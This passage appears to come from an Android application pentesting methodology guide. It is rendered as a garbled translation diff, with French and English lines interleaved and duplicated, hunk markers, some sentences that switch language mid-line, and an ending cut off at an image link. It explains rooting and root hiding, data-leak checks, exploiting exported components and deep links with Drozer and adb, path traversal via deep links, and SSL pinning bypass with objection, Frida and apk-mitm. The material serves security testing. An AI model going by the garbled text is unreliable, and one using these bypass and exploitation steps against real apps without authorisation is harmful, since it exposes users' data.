You can create a **free account** in: [https://appetize.io/](https://appetize.io). This platform allows you to **upload** and **execute** APKs, so it is useful to see how an apk is behaving.
|
||||
|
||||
Vous pouvez même **voir les logs de votre application** sur le web et vous connecter via **adb**.
|
||||
You can even **see the logs of your application** in the web and connect through **adb**.
|
||||
|
||||
.png>)
|
||||
|
||||
Grâce à la connexion ADB vous pouvez utiliser **Drozer** et **Frida** à l'intérieur des emulators.
|
||||
Thanks to the ADB connection you can use **Drozer** and **Frida** inside the emulators.
|
||||
|
||||
### Local Dynamic Analysis
|
||||
|
||||
#### Using an emulator
|
||||
|
||||
- [**Android Studio**](https://developer.android.com/studio) (Vous pouvez créer des devices **x86** et **arm**, et selon [**this** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**les dernières versions x86** supportent les libraries ARM sans avoir besoin d'un emulator ARM lent).
|
||||
- Apprenez à le configurer sur cette page :
|
||||
- [**Android Studio**](https://developer.android.com/studio) (You can create **x86** and **arm** devices, and according to [**this** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**latest x86** versions **support ARM libraries** without needing an slow arm emulator).
|
||||
- Learn to set it up in this page:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
avd-android-virtual-device.md
|
||||
{{#endref}}
|
||||
|
||||
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(version gratuite :** Personal Edition, création de compte requise. _Il est recommandé de **télécharger** la version **AVEC**_ _**VirtualBox** pour éviter des erreurs potentielles._)
|
||||
- [**Nox**](https://es.bignox.com) (Gratuit, mais il ne supporte pas Frida ou Drozer).
|
||||
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Free version:** Personal Edition, you need to create an account. _It's recommend to **download** the version **WITH**_ _**VirtualBox** to avoid potential errors._)
|
||||
- [**Nox**](https://es.bignox.com) (Free, but it doesn't support Frida or Drozer).
|
||||
|
||||
> [!TIP]
|
||||
> Lors de la création d'un nouvel emulator sur n'importe quelle plateforme, souvenez-vous que plus l'écran est grand, plus l'emulator sera lent. Donc sélectionnez des écrans petits si possible.
|
||||
> When creating a new emulator on any platform remember that the bigger the screen is, the slower the emulator will run. So select small screens if possible.
|
||||
|
||||
Pour **installer les google services** (comme AppStore) dans Genymotion vous devez cliquer sur le bouton marqué en rouge dans l'image suivante :
|
||||
To **install google services** (like AppStore) in Genymotion you need to click on the red marked button of the following image:
|
||||
|
||||
.png>)
|
||||
|
||||
Notez aussi que dans la **configuration de la VM Android dans Genymotion** vous pouvez sélectionner le **Bridge Network mode** (cela sera utile si vous devez vous connecter à la VM Android depuis une VM différente contenant les outils).
|
||||
Also, notice that in the **configuration of the Android VM in Genymotion** you can select **Bridge Network mode** (this will be useful if you will be connecting to the Android VM from a different VM with the tools).
|
||||
|
||||
#### Use a physical device
|
||||
|
||||
Vous devez activer les options de **debugging** et ce serait bien si vous pouvez le **rooter** :
|
||||
You need to activate the **debugging** options and it will be cool if you can **root** it:
|
||||
|
||||
1. **Settings**.
|
||||
2. (FromAndroid 8.0) Sélectionnez **System**.
|
||||
3. Sélectionnez **About phone**.
|
||||
4. Appuyez **Build number** 7 fois.
|
||||
5. Revenez et vous trouverez les **Developer options**.
|
||||
2. (FromAndroid 8.0) Select **System**.
|
||||
3. Select **About phone**.
|
||||
4. Press **Build number** 7 times.
|
||||
5. Go back and you will find the **Developer options**.
|
||||
|
||||
> Once you have installed the application, the first thing you should do is to try it and investigate what does it do, how does it work and get comfortable with it.\
|
||||
> I will suggest to **perform this initial dynamic analysis using MobSF dynamic analysis + pidcat**, so we will be able to **learn how the application works** while MobSF **captures** a lot of **interesting** **data** you can review later on.
|
||||
|
||||
Magisk/Zygisk quick notes (recommended on Pixel devices)
|
||||
- Patch boot.img with the Magisk app and flash via fastboot to get systemless root
|
||||
- Enable Zygisk + DenyList for root hiding; consider LSPosed/Shamiko when stronger hiding is required
|
||||
- Keep original boot.img to recover from OTA updates; re-patch after each OTA
|
||||
- For screen mirroring, use scrcpy on the host
|
||||
|
||||
> Une fois que vous avez installé l'application, la première chose à faire est de l'essayer et d'étudier ce qu'elle fait, comment elle fonctionne et de vous familiariser avec elle.\
|
||||
> Je suggère d'**effectuer cette analyse dynamique initiale en utilisant MobSF dynamic analysis + pidcat**, ainsi nous pourrons **apprendre comment l'application fonctionne** pendant que MobSF **capture** beaucoup de **données intéressantes** que vous pourrez revoir ensuite.
|
||||
|
||||
Magisk/Zygisk quick notes (recommandé sur les appareils Pixel)
|
||||
- Patch boot.img avec l'app Magisk et flashez via fastboot pour obtenir un systemless root
|
||||
- Activez Zygisk + DenyList pour masquer le root ; envisagez LSPosed/Shamiko quand un masquage plus robuste est nécessaire
|
||||
- Conservez le boot.img original pour récupérer après les OTA ; re-patchez après chaque OTA
|
||||
- Pour le mirroring d'écran, utilisez scrcpy sur l'hôte
|
||||
|
||||
### Unintended Data Leakage
|
||||
|
||||
**Logging**
|
||||
|
||||
Les développeurs doivent être prudents en exposant des **informations de debugging** publiquement, car cela peut mener à des fuites de données sensibles. Les outils [**pidcat**](https://github.com/JakeWharton/pidcat) et `adb logcat` sont recommandés pour surveiller les logs d'application afin d'identifier et protéger les informations sensibles. **Pidcat** est préféré pour sa facilité d'utilisation et sa lisibilité.
|
||||
Les développeurs doivent être prudents quant à l'exposition des **debugging information** publiquement, car cela peut conduire à des données sensibles leaks. The tools [**pidcat**](https://github.com/JakeWharton/pidcat) and `adb logcat` are recommended for monitoring application logs to identify and protect sensitive information. **Pidcat** is favored for its ease of use and readability.
|
||||
|
||||
> [!WARNING]
|
||||
> Notez que à partir des **versions postérieures à Android 4.0**, **les applications ne peuvent accéder qu'à leurs propres logs**. Ainsi les applications ne peuvent pas accéder aux logs d'autres apps.\
|
||||
> Quoi qu'il en soit, il est toujours recommandé de **ne pas logger d'informations sensibles**.
|
||||
> Note that from **later newer than Android 4.0**, **applications are only able to access their own logs**. So applications cannot access other apps logs.\
|
||||
> Anyway, it's still recommended to **not log sensitive information**.
|
||||
|
||||
**Copy/Paste Buffer Caching**
|
||||
|
||||
Le framework basé sur le **clipboard** d'Android permet la fonctionnalité copy-paste dans les apps, mais présente un risque car **d'autres applications** peuvent **accéder** au clipboard, exposant potentiellement des données sensibles. Il est crucial de **désactiver les fonctions de copy/paste** pour les sections sensibles d'une application, comme les détails de carte bancaire, afin de prévenir les leaks.
|
||||
Le framework **clipboard-based** d'Android permet la fonctionnalité copy-paste dans les apps, mais présente un risque car **other applications** peuvent **access** le clipboard, exposant potentiellement des données sensibles. Il est crucial de **désactiver copy/paste** pour les sections sensibles d'une application, comme les détails de carte de crédit, pour prévenir des data leaks.
|
||||
|
||||
**Crash Logs**
|
||||
|
||||
Si une application **crashe** et **sauvegarde des logs**, ces logs peuvent aider des attackers, particulièrement quand l'application ne peut pas être reverse-engineerée. Pour atténuer ce risque, évitez de logger lors de crashs, et si les logs doivent être transmis sur le réseau, assurez-vous qu'ils sont envoyés via un canal SSL pour la sécurité.
|
||||
Si une application **crashes** et **sauvegarde des logs**, ces logs peuvent aider les attaquants, particulièrement lorsque l'application ne peut pas être reverse-engineered. Pour atténuer ce risque, évitez de logger lors des crashes, et si des logs doivent être transmis sur le réseau, assurez-vous qu'ils soient envoyés via un canal SSL pour la sécurité.
|
||||
|
||||
En tant que pentester, **essayez de jeter un œil à ces logs**.
|
||||
As pentester, **try to take a look to these logs**.
|
||||
|
||||
**Analytics Data Sent To 3rd Parties**
|
||||
|
||||
Les applications intègrent souvent des services comme Google Adsense, qui peuvent involontairement **leak des données sensibles** à cause d'une implémentation incorrecte par les développeurs. Pour identifier de potentielles leaks, il est conseillé d'**intercepter le traffic de l'application** et de vérifier si des informations sensibles sont envoyées à des services tiers.
|
||||
Les applications intègrent souvent des services comme Google Adsense, ce qui peut involontairement **leak sensitive data** en raison d'implémentations incorrectes par les développeurs. Pour identifier des potentielles data leaks, il est conseillé d'**intercept the application's traffic** et de vérifier s'il y a des informations sensibles envoyées à des services tiers.
|
||||
|
||||
### SQLite DBs
|
||||
|
||||
La plupart des applications utiliseront des **bases de données SQLite internes** pour sauvegarder des informations. Pendant le pentest, jetez un **œil** aux **databases** créées, aux noms des **tables** et des **colonnes** et à toutes les **données** sauvegardées car vous pourriez trouver des **informations sensibles** (ce qui serait une vulnérabilité).\
|
||||
Les bases de données devraient se trouver dans `/data/data/the.package.name/databases` comme `/data/data/com.mwr.example.sieve/databases`
|
||||
Most of the applications will use **internal SQLite databases** to save information. During the pentest take a **look** to the **databases** created, the names of **tables** and **columns** and all the **data** saved because you could find **sensitive information** (which would be a vulnerability).\
|
||||
Databases should be located in `/data/data/the.package.name/databases` like `/data/data/com.mwr.example.sieve/databases`
|
||||
|
||||
Si la base de données sauvegarde des informations confidentielles et est **encrypted** mais que vous pouvez **find** le **password** à l'intérieur de l'application, c'est toujours une **vulnérabilité**.
|
||||
If the database is saving confidential information and is **encrypted**, but you can **find** the **password** inside the application it's still a **vulnerability**.
|
||||
|
||||
Enumérez les tables en utilisant `.tables` et énumérez les colonnes des tables en faisant `.schema <table_name>`
|
||||
Enumerate the tables using `.tables` and enumerate the columns of the tables doing `.schema <table_name>`
|
||||
|
||||
### Drozer (Exploit Activities, Content Providers and Services)
|
||||
|
||||
From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** permet de **prendre le rôle d'une app Android** et d'interagir avec d'autres apps. Il peut faire **tout ce qu'une application installée peut faire**, comme utiliser le mécanisme d'Inter-Process Communication (IPC) d'Android et interagir avec le système d'exploitation sous-jacent. .\
|
||||
Drozer est un outil utile pour **exploiter des activities exportées, des services exportés et des Content Providers** comme vous l'apprendrez dans les sections suivantes.
|
||||
From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** allows you to **assume the role of an Android app** and interact with other apps. It can do **anything that an installed application can do**, such as make use of Android’s Inter-Process Communication (IPC) mechanism and interact with the underlying operating system. .\
|
||||
Drozer is s useful tool to **exploit exported activities, exported services and Content Providers** as you will learn in the following sections.
|
||||
|
||||
### Exploiting exported Activities
|
||||
|
||||
[**Read this if you want to refresh what is an Android Activity.**](android-applications-basics.md#launcher-activity-and-other-activities)\
|
||||
Rappelez-vous aussi que le code d'une activity démarre dans la méthode **`onCreate`**.
|
||||
Also remember that the code of an activity starts in the **`onCreate`** method.
|
||||
|
||||
**Authorisation bypass**
|
||||
|
||||
Quand une Activity est exportée vous pouvez invoquer son écran depuis une app externe. Donc, si une activity contenant des **informations sensibles** est **exportée** vous pourriez **bypasser** les mécanismes d'**authentication** **pour y accéder.**
|
||||
When an Activity is exported you can invoke its screen from an external app. Therefore, if an activity with **sensitive information** is **exported** you could **bypass** the **authentication** mechanisms **to access it.**
|
||||
|
||||
[**Learn how to exploit exported activities with Drozer.**](drozer-tutorial/index.html#activities)
|
||||
|
||||
Vous pouvez aussi démarrer une activity exportée depuis adb :
|
||||
You can also start an exported activity from adb:
|
||||
|
||||
- PackageName is com.example.demo
|
||||
- Exported ActivityName is com.example.test.MainActivity
|
||||
```bash
|
||||
adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
```
|
||||
**NOTE**: MobSF will detect as malicious the use of _**singleTask/singleInstance**_ as `android:launchMode` in an activity, but due to [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), apparently this is only dangerous on old versions (API versions < 21).
|
||||
**REMARQUE**: MobSF will detect as malicious the use of _**singleTask/singleInstance**_ as `android:launchMode` in an activity, but due to [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), apparently this is only dangerous on old versions (API versions < 21).
|
||||
|
||||
> [!TIP]
|
||||
> Notez qu'un authorisation bypass n'est pas toujours une vulnérabilité ; cela dépend de la façon dont le bypass fonctionne et des informations exposées.
|
||||
> Note that an authorisation bypass is not always a vulnerability, it would depend on how the bypass works and which information is exposed.
|
||||
|
||||
**Sensitive information leakage**
|
||||
**Fuite d'informations sensibles**
|
||||
|
||||
Les Activities peuvent aussi renvoyer des résultats. Si vous parvenez à trouver une activity exportée et non protégée appelant la méthode **`setResult`** et **renvoyant des informations sensibles**, il y a un sensitive information leakage.
|
||||
**Activities can also return results**. If you manage to find an exported and unprotected activity calling the **`setResult`** method and **returning sensitive information**, there is a sensitive information leakage.
|
||||
|
||||
#### Tapjacking
|
||||
|
||||
Si le Tapjacking n'est pas empêché, vous pourriez abuser de l'activity exportée pour faire en sorte que **l'utilisateur réalise des actions inattendues**. Pour plus d'info sur [**ce qu'est le Tapjacking, suivez le lien**](#tapjacking).
|
||||
If Tapjacking isn't prevented, you could abuse the exported activity to make the **user perform unexpected actions**. For more info about [**what is Tapjacking follow the link**](#tapjacking).
|
||||
|
||||
### Exploiting Content Providers - Accessing and manipulating sensitive information
|
||||
### Exploiter les Content Providers - Accéder et manipuler des informations sensibles
|
||||
|
||||
[**Read this if you want to refresh what is a Content Provider.**](android-applications-basics.md#content-provider)\
|
||||
Les Content providers sont essentiellement utilisés pour **partager des données**. Si une app dispose de content providers accessibles, vous pourriez être capable d'**extraire des données sensibles** depuis ceux-ci. Il est aussi intéressant de tester d'éventuelles **SQL injections** et **Path Traversals** car elles pourraient être vulnérables.
|
||||
[**Lisez ceci si vous voulez revoir ce qu'est un Content Provider.**](android-applications-basics.md#content-provider)\
|
||||
Content providers are basically used to **share data**. If an app has available content providers you may be able to **extract sensitive** data from them. It also interesting to test possible **SQL injections** and **Path Traversals** as they could be vulnerable.
|
||||
|
||||
[**Learn how to exploit Content Providers with Drozer.**](drozer-tutorial/index.html#content-providers)
|
||||
[**Apprenez à exploiter les Content Providers avec Drozer.**](drozer-tutorial/index.html#content-providers)
|
||||
|
||||
### **Exploiting Services**
|
||||
### **Exploiter les Services**
|
||||
|
||||
[**Read this if you want to refresh what is a Service.**](android-applications-basics.md#services)\
|
||||
[**Lisez ceci si vous voulez revoir ce qu'est un Service.**](android-applications-basics.md#services)\
|
||||
Rappelez-vous que les actions d'un Service commencent dans la méthode `onStartCommand`.
|
||||
|
||||
Un Service est essentiellement quelque chose qui **peut recevoir des données**, les **traiter** et **renvoyer** (ou non) une réponse. Donc, si une application exporte des services, vous devriez **vérifier** le **code** pour comprendre ce qu'il fait et le **tester** **dynamiquement** afin d'extraire des informations confidentielles, contourner des mesures d'authentification...\
|
||||
[**Learn how to exploit Services with Drozer.**](drozer-tutorial/index.html#services)
|
||||
Un Service est essentiellement quelque chose qui **peut recevoir des données**, les **traiter** et **renvoyer** (ou non) une réponse. Donc, si une application exporte certains services vous devriez **vérifier** le **code** pour comprendre ce qu'il fait et le **tester** **dynamiquement** afin d'extraire des informations confidentielles, contourner des mesures d'authentification...\
|
||||
[**Apprenez à exploiter les Services avec Drozer.**](drozer-tutorial/index.html#services)
|
||||
|
||||
### **Exploiting Broadcast Receivers**
|
||||
### **Exploiter les Broadcast Receivers**
|
||||
|
||||
[**Read this if you want to refresh what is a Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\
|
||||
[**Lisez ceci si vous voulez revoir ce qu'est un Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\
|
||||
Rappelez-vous que les actions d'un Broadcast Receiver commencent dans la méthode `onReceive`.
|
||||
|
||||
Un Broadcast Receiver attend un certain type de message. Selon la manière dont le receiver gère le message, il pourrait être vulnérable.\
|
||||
[**Learn how to exploit Broadcast Receivers with Drozer.**](#exploiting-broadcast-receivers)
|
||||
Un broadcast receiver attendra un type de message. Selon la façon dont le receiver traite le message, il pourrait être vulnérable.\
|
||||
[**Apprenez à exploiter les Broadcast Receivers avec Drozer.**](#exploiting-broadcast-receivers)
|
||||
|
||||
### **Exploiting Schemes / Deep links**
|
||||
### **Exploiter les Schemes / Deep links**
|
||||
|
||||
Vous pouvez rechercher des deep links manuellement, en utilisant des outils comme MobSF ou des scripts comme [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\
|
||||
Vous pouvez **ouvrir** un **scheme** déclaré en utilisant **adb** ou un **browser**:
|
||||
Vous pouvez **ouvrir** un déclaré **scheme** en utilisant **adb** ou un **browser**:
|
||||
```bash
|
||||
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
|
||||
```
|
||||
_Notez que vous pouvez **omettre le nom du package** et le mobile appellera automatiquement l'application qui doit ouvrir ce lien._
|
||||
_Remarque : vous pouvez **omettre le nom du package** et le mobile appellera automatiquement l'application qui doit ouvrir ce lien._
|
||||
```html
|
||||
<!-- Browser regular link -->
|
||||
<a href="scheme://hostname/path?param=value">Click me</a>
|
||||
@ -399,53 +401,53 @@ _Notez que vous pouvez **omettre le nom du package** et le mobile appellera auto
|
||||
```
|
||||
**Code exécuté**
|
||||
|
||||
Pour trouver le **code qui sera exécuté dans l'App**, allez à l'activité appelée par le deeplink et recherchez la fonction **`onNewIntent`**.
|
||||
Pour trouver le **code qui sera exécuté dans l'App**, allez à l'activité appelée par le deep link et recherchez la fonction **`onNewIntent`**.
|
||||
|
||||
 (1) (1) (1).png>)
|
||||
|
||||
**Sensitive info**
|
||||
**Informations sensibles**
|
||||
|
||||
Chaque fois que vous trouvez un deep link, vérifiez qu'**il ne reçoit pas de données sensibles (comme des mots de passe) via des paramètres d'URL**, car n'importe quelle autre application pourrait **usurper le deep link et voler ces données !**
|
||||
Chaque fois que vous trouvez un deep link, vérifiez **qu'il ne reçoit pas de données sensibles (comme des mots de passe) via des paramètres d'URL**, car toute autre application pourrait **usurper le deep link et voler ces données !**
|
||||
|
||||
**Parameters in path**
|
||||
**Paramètres dans le chemin**
|
||||
|
||||
Vous **devez aussi vérifier si un deep link utilise un paramètre à l'intérieur du path** de l'URL comme : `https://api.example.com/v1/users/{username}` , dans ce cas vous pouvez forcer un path traversal en accédant à quelque chose comme : `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\
|
||||
Notez que si vous trouvez les endpoints corrects dans l'application vous pourriez provoquer un **Open Redirect** (si une partie du path est utilisée comme nom de domaine), un **account takeover** (si vous pouvez modifier les users details sans token CSRF et que l'endpoint vulnérable utilise la méthode appropriée) et toute autre vuln. Plus d'[info about this here](http://dphoeniixx.com/2020/12/13-2/).
|
||||
Notez que si vous trouvez les endpoints corrects à l'intérieur de l'application vous pouvez être capable de provoquer un **Open Redirect** (si une partie du path est utilisée comme nom de domaine), un **account takeover** (si vous pouvez modifier les détails d'utilisateurs sans token CSRF et que l'endpoint vulnérable utilisait la méthode correcte) et toute autre vuln. Plus d'infos [about this here](http://dphoeniixx.com/2020/12/13-2/).
|
||||
|
||||
**More examples**
|
||||
|
||||
Un [intéressant bug bounty report](https://hackerone.com/reports/855618) au sujet des links (_/.well-known/assetlinks.json_).
|
||||
An [interesting bug bounty report](https://hackerone.com/reports/855618) about links (_/.well-known/assetlinks.json_).
|
||||
|
||||
### Transport Layer Inspection and Verification Failures
|
||||
### Inspection de la couche transport et échecs de vérification
|
||||
|
||||
- **Les certificats ne sont pas toujours correctement inspectés** par les applications Android. Il est courant que ces applications ignorent les avertissements et acceptent des certificats auto-signés ou, dans certains cas, reviennent à des connexions HTTP.
|
||||
- **Les négociations lors du handshake SSL/TLS sont parfois faibles**, employant des suites de chiffrement non sécurisées. Cette vulnérabilité rend la connexion susceptible à des attaques man-in-the-middle (MITM), permettant aux attaquants de déchiffrer les données.
|
||||
- **Leakage of private information** représente un risque lorsque les applications s'authentifient via des canaux sécurisés puis communiquent via des canaux non sécurisés pour d'autres transactions. Cette approche ne protège pas les données sensibles, comme les cookies de session ou les informations utilisateur, d'une interception par des entités malveillantes.
|
||||
- **Les certificats ne sont pas toujours inspectés correctement** par les applications Android. Il est courant que ces applications ignorent les warnings et acceptent des certificats self-signed ou, dans certains cas, repassent à des connexions HTTP.
|
||||
- **Les négociations durant le SSL/TLS handshake sont parfois faibles**, employant des cipher suites non sécurisées. Cette vulnérabilité rend la connexion susceptible aux attaques man-in-the-middle (MITM), permettant aux attaquants de déchiffrer les données.
|
||||
- **Fuite d'informations privées** est un risque lorsque les applications s'authentifient en utilisant des canaux sécurisés puis communiquent sur des canaux non sécurisés pour d'autres transactions. Cette approche ne protège pas les données sensibles, comme les cookies de session ou les informations utilisateur, contre l'interception par des entités malveillantes.
|
||||
|
||||
#### Certificate Verification
|
||||
#### Vérification des certificats
|
||||
|
||||
Nous allons nous concentrer sur la **vérification des certificats**. L'intégrité du certificat du serveur doit être vérifiée pour améliorer la sécurité. C'est crucial car des configurations TLS non sécurisées et la transmission de données sensibles sur des canaux non chiffrés peuvent présenter des risques importants. Pour des étapes détaillées sur la vérification des certificats serveur et la correction des vulnérabilités, [**this resource**](https://manifestsecurity.com/android-application-security-part-10/) fournit un guide complet.
|
||||
Nous nous concentrerons sur la **vérification des certificats**. L'intégrité du certificat du serveur doit être vérifiée pour renforcer la sécurité. Ceci est crucial car des configurations TLS non sécurisées et la transmission de données sensibles sur des canaux non chiffrés peuvent poser des risques importants. Pour des étapes détaillées sur la vérification des certificats serveurs et la correction des vulnérabilités, [**this resource**](https://manifestsecurity.com/android-application-security-part-10/) fournit des conseils complets.
|
||||
|
||||
#### SSL Pinning
|
||||
|
||||
SSL Pinning est une mesure de sécurité où l'application vérifie le certificat du serveur par rapport à une copie connue stockée dans l'application elle-même. Cette méthode est essentielle pour prévenir les attaques MITM. Implémenter SSL Pinning est fortement recommandé pour les applications manipulant des informations sensibles.
|
||||
SSL Pinning est une mesure de sécurité où l'application vérifie le certificat du serveur par rapport à une copie connue stockée dans l'application elle-même. Cette méthode est essentielle pour prévenir les attaques MITM. Il est fortement recommandé d'implémenter SSL Pinning pour les applications manipulant des informations sensibles.
|
||||
|
||||
#### Traffic Inspection
|
||||
#### Inspection du trafic
|
||||
|
||||
Pour inspecter le trafic HTTP, il est nécessaire d'**installer le certificat de l'outil proxy** (par ex., Burp). Sans l'installation de ce certificat, le trafic chiffré pourrait ne pas être visible via le proxy. Pour un guide sur l'installation d'un certificat CA personnalisé, [**click here**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
|
||||
Pour inspecter le trafic HTTP, il est nécessaire d'**installer le certificat du proxy** (par ex. Burp). Sans installer ce certificat, le trafic chiffré pourrait ne pas être visible via le proxy. Pour un guide sur l'installation d'un CA personnalisé, [**click here**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
|
||||
|
||||
Les applications ciblant **API Level 24 and above** nécessitent des modifications du Network Security Config pour accepter le certificat CA du proxy. Cette étape est critique pour inspecter le trafic chiffré. Pour des instructions sur la modification du Network Security Config, [**refer to this tutorial**](make-apk-accept-ca-certificate.md).
|
||||
|
||||
Si **Flutter** est utilisé vous devez suivre les instructions sur [**this page**](flutter.md). Ceci est parce que, simplement ajouter le certificat dans le store ne fonctionnera pas car Flutter a sa propre liste de CAs valides.
|
||||
Si **Flutter** est utilisé, vous devez suivre les instructions sur [**this page**](flutter.md). Cela s'explique par le fait que, simplement ajouter le certificat dans le store ne fonctionnera pas car Flutter a sa propre liste de CAs valides.
|
||||
|
||||
#### Static detection of SSL/TLS pinning
|
||||
#### Détection statique du SSL/TLS pinning
|
||||
|
||||
Avant d'essayer des contournements à l'exécution, cartographiez rapidement où le pinning est appliqué dans l'APK. La découverte statique vous aide à planifier les hooks/patches et à vous concentrer sur les bons code paths.
|
||||
Avant d'essayer des contournements runtime, cartographiez rapidement où le pinning est appliqué dans l'APK. La découverte statique vous aide à planifier des hooks/patches et à vous concentrer sur les bons chemins de code.
|
||||
|
||||
Tool: SSLPinDetect
|
||||
- Utilitaire open-source d'analyse statique qui décompile l'APK en Smali (via apktool) et scanne des motifs regex sélectionnés des implémentations de SSL/TLS pinning.
|
||||
- Rapporte le chemin de fichier exact, le numéro de ligne et un extrait de code pour chaque correspondance.
|
||||
- Couvre les frameworks courants et les code paths personnalisés : OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers, et les pins Network Security Config XML.
|
||||
- Open-source static-analysis utility qui décompile l'APK en Smali (via apktool) et scanne des motifs regex sélectionnés d'implémentations de SSL/TLS pinning.
|
||||
- Rapporte le chemin exact du fichier, le numéro de ligne, et un snippet de code pour chaque correspondance.
|
||||
- Couvre des frameworks courants et des chemins de code personnalisés : OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers, et Network Security Config XML pins.
|
||||
|
||||
Install
|
||||
- Prereqs: Python >= 3.8, Java on PATH, apktool
|
||||
@ -463,8 +465,7 @@ python sslpindetect.py -f app.apk -a apktool.jar
|
||||
python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v
|
||||
```
|
||||
Exemples de règles de pattern (JSON)
|
||||
|
||||
Utilisez ou étendez des signatures pour détecter des styles de pinning propriétaires/personnalisés. Vous pouvez charger votre propre JSON et scanner à grande échelle.
|
||||
Utilisez ou étendez des signatures pour détecter des styles de pinning propriétaires/personnalisés. Vous pouvez charger votre propre JSON et effectuer des analyses à grande échelle.
|
||||
```json
|
||||
{
|
||||
"OkHttp Certificate Pinning": [
|
||||
@ -478,43 +479,43 @@ Utilisez ou étendez des signatures pour détecter des styles de pinning propri
|
||||
]
|
||||
}
|
||||
```
|
||||
Notes and tips
|
||||
- Analyse rapide des grandes apps via multi-threading et I/O mémoire mappée ; les regex précompilées réduisent la surcharge/les faux positifs.
|
||||
Notes et astuces
|
||||
- Analyse rapide des grandes applications via multi-threading et I/O mappée en mémoire ; les regex pré-compilées réduisent la surcharge / les faux positifs.
|
||||
- Pattern collection: https://github.com/aancw/smali-sslpin-patterns
|
||||
- Typical detection targets to triage next:
|
||||
- OkHttp: CertificatePinner usage, setCertificatePinner, okhttp3/okhttp package references
|
||||
- Custom TrustManagers: javax.net.ssl.X509TrustManager, surcharges de checkServerTrusted
|
||||
- Custom SSL contexts: SSLContext.getInstance + SSLContext.init with custom managers
|
||||
- Declarative pins in res/xml network security config and manifest references
|
||||
- Use the matched locations to plan Frida hooks, static patches, or config reviews before dynamic testing.
|
||||
- Cibles de détection typiques à trier ensuite :
|
||||
- OkHttp: utilisation de CertificatePinner, setCertificatePinner, références de package okhttp3/okhttp
|
||||
- TrustManagers personnalisés: javax.net.ssl.X509TrustManager, overrides de checkServerTrusted
|
||||
- Contextes SSL personnalisés: SSLContext.getInstance + SSLContext.init avec des managers personnalisés
|
||||
- Pins déclaratifs dans res/xml network security config et références dans le manifest
|
||||
- Utilisez les emplacements identifiés pour planifier des hooks Frida, des patchs statiques, ou des revues de configuration avant les tests dynamiques.
|
||||
|
||||
|
||||
|
||||
#### Bypassing SSL Pinning
|
||||
#### Contournement de SSL Pinning
|
||||
|
||||
Quand SSL Pinning est implémenté, le bypass devient nécessaire pour inspecter le trafic HTTPS. Différentes méthodes sont disponibles pour ça :
|
||||
Lorsque SSL Pinning est implémenté, le contourner devient nécessaire pour inspecter le trafic HTTPS. Plusieurs méthodes sont disponibles pour cela :
|
||||
|
||||
- Automatically **modify** the **apk** to **bypass** SSLPinning with [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Le principal avantage de cette option est que vous n'aurez pas besoin de root pour bypass SSL Pinning, mais il faudra désinstaller l'application et réinstaller la nouvelle, et cela ne fonctionnera pas toujours.
|
||||
- You could use **Frida** (discussed below) to bypass this protection. Here you have a guide to use Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
- You can also try to **automatically bypass SSL Pinning** using [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
- You can also try to **automatically bypass SSL Pinning** using **MobSF dynamic analysis** (explained below)
|
||||
- If you still think that there is some traffic that you aren't capturing you can try to **forward the traffic to burp using iptables**. Read this blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
|
||||
- Automatiquement **modifier** le **apk** pour **bypasser** SSLPinning avec [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Le principal avantage de cette option est que vous n'aurez pas besoin de root pour bypasser le SSL Pinning, mais vous devrez supprimer l'application et réinstaller la nouvelle, et cela ne fonctionnera pas toujours.
|
||||
- Vous pouvez utiliser **Frida** (discuté ci-dessous) pour bypasser cette protection. Voici un guide pour utiliser Burp+Frida+Genymotion : [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
- Vous pouvez aussi essayer de **bypasser automatiquement SSL Pinning** en utilisant [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
- Vous pouvez aussi essayer de **bypasser automatiquement SSL Pinning** en utilisant **MobSF dynamic analysis** (expliqué ci-dessous)
|
||||
- Si vous pensez toujours qu'il y a du trafic que vous ne capturez pas, vous pouvez essayer de **rediriger le trafic vers burp en utilisant iptables**. Lisez ce blog : [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
|
||||
|
||||
#### Looking for Common Web Vulnerabilities
|
||||
#### Recherche de vulnérabilités web courantes
|
||||
|
||||
